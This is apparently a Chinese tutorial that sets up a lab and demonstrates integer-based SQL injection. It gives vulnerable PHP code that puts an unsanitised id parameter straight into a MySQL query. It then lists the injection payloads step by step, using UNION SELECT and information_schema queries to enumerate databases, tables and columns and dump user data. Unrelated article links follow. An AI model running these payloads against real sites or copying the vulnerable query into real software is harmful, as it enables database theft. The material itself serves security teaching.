首先搭建一个用于注入的环境

目录结构

conn.php    用来连接数据库的文件PHP文件

index.php    用来执行SQL命令,以及返回查询结构

index.html              一个存在注入点的页面

conn.php的代码

<?php
$servername="localhost";
$username="root";
$password="weiwhy";
try{
$con=new PDO("mysql:host=$servername;dbname=phpdisk",$username,$password);
echo "链接数据库成功";
}catch(PDOException $e){
echo $e->getMessage();
} $con->exec('set names utf8');///exec方法用来执行没有结果返回的SQL语句。。。设置查询语句为utf-8
?>

index.php代码

<?php
require('conn.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php
$id=$_GET['id'];
$result=$con->query("select * from pd_users where userid=$id");//执行查询的SQL语句
foreach($result as $value){
var_dump($value);////直接输出作为显示位
}
?>
</body>
</html>

index.html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form action="index.php" method="GET">
<input type="text" name="id">
<input type="submit" value="提交">
</form>
</body>
</html>

存在的注入点为

http://www.a.com/index.php?id=1

第一步,首先判断注入点是否可用

http://www.a.com/index.php?id=1  and 1=1显示正常

http://www.a.com/index.php?id=1  and 1=2 正常返回但是没有数据

第二步,判断查询的表存在的列数

http://www.a.com/index.php?id=1  order by 2

使用排序方法判断存在多少行,根据第29列无法排序,说明不存在这一列

根据第28列排序正常,所以此表存在28列

第三步,使用联合查询,查找显示位

union select 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4

第四步,查询所有的库名

通过查询information_schema.schemata表

select distinct group_concat(schema_name) from information_schema.schemata

第五步,查询指定库的所有表

可以看到上一步中,拿到另外所有的库名,这一步指定查询estoresyste库

select distinct group_concat(table_name) from information_schema.tables where table_schema='estoresystem'

第六步,查询指定表的所有列

拿到指定库的所有表之后,指定查询user表的所有列

select distinct group_concat(column_name) from information_schema.columns where table_name='users'

第七步,查询数据

select distinct group_concat(username) from estoresystem.users

查询到该表的四个用户

SQL注入中的整型注入实验的更多相关文章

  1. 阿里云提示:对输入参数id未进行正确类型转义,导致整型注入的发生

    类似以下提示: XXX.php中,对输入参数id未进行正确类型转义,导致整型注入的发生 解决办法: 找到对应文件:$id = $_GET['id']; 增加以下标红过滤: $id = $_GET['i ...

  2. 【sqli-labs】 less35 GET- Bypass Add Slashes(we dont need them) Integer based (GET型绕过addslashes() 函数的整型注入)

    整型注入不用闭合引号,那就更简单了 http://192.168.136.128/sqli-labs-master/Less-35/?id=0 union select 1,database(),3% ...

  3. dateline 在数据库中就是 整型字段。date函数是可以转换成可读日期的。

    返回数据中的dateline全部用date()函数转换后再返回,是要嵌套循环还是遍历,代码怎么写? //查询我的活动 function user_activity_info_by_uid($uid){ ...

  4. CVE-2018-14634 - Linux create_elf_tables()中的整型溢出 - 翻译

    原文:https://seclists.org/oss-sec/2018/q3/274 摘要 Qualys研究实验室的安全团队发现一个位于Linux内核函数create_elf_tables()中的整 ...

  5. 【sqli-labs】 less41 GET -Blind based -Intiger -Stacked(GET型基于盲注的堆叠查询整型注入)

    整型的不用闭合引号 http://192.168.136.128/sqli-labs-master/Less-41/?id=1;insert into users(id,username,passwo ...

  6. MySQL和PHP中以整型存储IP地址

    正文:将IP地址以整型存储 一般我们在数据库中会用到ip地址用来查记录的等等,而ip地址是分为四段的,一般是用varchar或char类型存储.但是其实有更好的存储方法就是以整型存储IP地址. 因为c ...

  7. 在JavaScript中判断整型的N种方法

    原文:http://www.cnblogs.com/YcYYcY/p/3759184.html 整数类型(Integer)在JavaScript经常会导致一些奇怪的问题.在ECMAScript的规范中 ...

  8. C#语言基础 Main 函数中变量 整型

    在我们每次上网或者用电脑的时候,请输入你的xxx 或者你的名字(年龄/身高/学校/籍贯)是 在这里我们就要学到一些变量,就是不确定的东西 string a:   //赋予变量 a ="内容& ...

  9. c语言中指向整型指针的指针的理解

    /************************************************************************* > File Name: ptr_ptr_i ...

随机推荐

  1. BZOJ2599:[IOI2011]Race

    浅谈树分治:https://www.cnblogs.com/AKMer/p/10014803.html 题目传送门:https://www.lydsy.com/JudgeOnline/problem. ...

  2. Bootstrap 轻量级后台管理系统模板--ACE使用介绍

    在上一篇基于Bootstrap介绍了一个免费的后台管理模板Charisma UI. 参见链接: 基于Jquery.Bootstrap的后台管理免费UI框架推荐--Charisma UI 今天继续分享一 ...

  3. java:calendar类及一些比较实用的utils(一)

    在java编程中经常会用到时间日期的计算.比较.格式化等等操作,刚开始接触Calendar类时,还是在初学习期间,小小白一枚,看着这个好复杂,懒惰心理作祟也就没有怎么去学习,后来在项目中经常用到,索性 ...

  4. _beginThreadex的用法

    http://blog.csdn.net/cjcy1984001/article/details/6675669 线程开始和停止函数!  unsigned long _beginthreadex( v ...

  5. 一、使用 BeautifulSoup抓取网页信息信息

    一.解析网页信息 from bs4 import BeautifulSoup with open('C:/Users/michael/Desktop/Plan-for-combating-master ...

  6. python-format函数

    #通过位置 print '{0},{1}'.format('chuhao',20) print '{},{}'.format('chuhao',20) print '{1},{0},{1}'.form ...

  7. python常用第三方库(转载)

    Python标准库与第三方库详解(转载) 转载地址: http://www.codeweblog.com/python%e6%a0%87%e5%87%86%e5%ba%93%e4%b8%8e%e7%a ...

  8. jQuery EasyUI API 中文文档 - Tree树使用介绍

    用 $.fn.tree.defaults 重写了 defaults. 依赖 draggable droppable 用法 Tree 能在 <ul> 元素里定义,此标记可以定义为叶节点和子节 ...

  9. POJ - 2676 Sudoku 数独游戏 dfs神奇的反搜

    Sudoku Sudoku is a very simple task. A square table with 9 rows and 9 columns is divided to 9 smalle ...

  10. 洛谷 - P3164 - 和谐矩阵 - 高斯约旦消元法

    为什么可以跑n立方,我也不知道,反正就是可以. 模2意义的,据说每一行可以存一个bitset,会比用bool更快(快32倍?). 本题告诉我们一个道理: 高斯消元之后,每个变量的含义不变(虽然交换了两 ...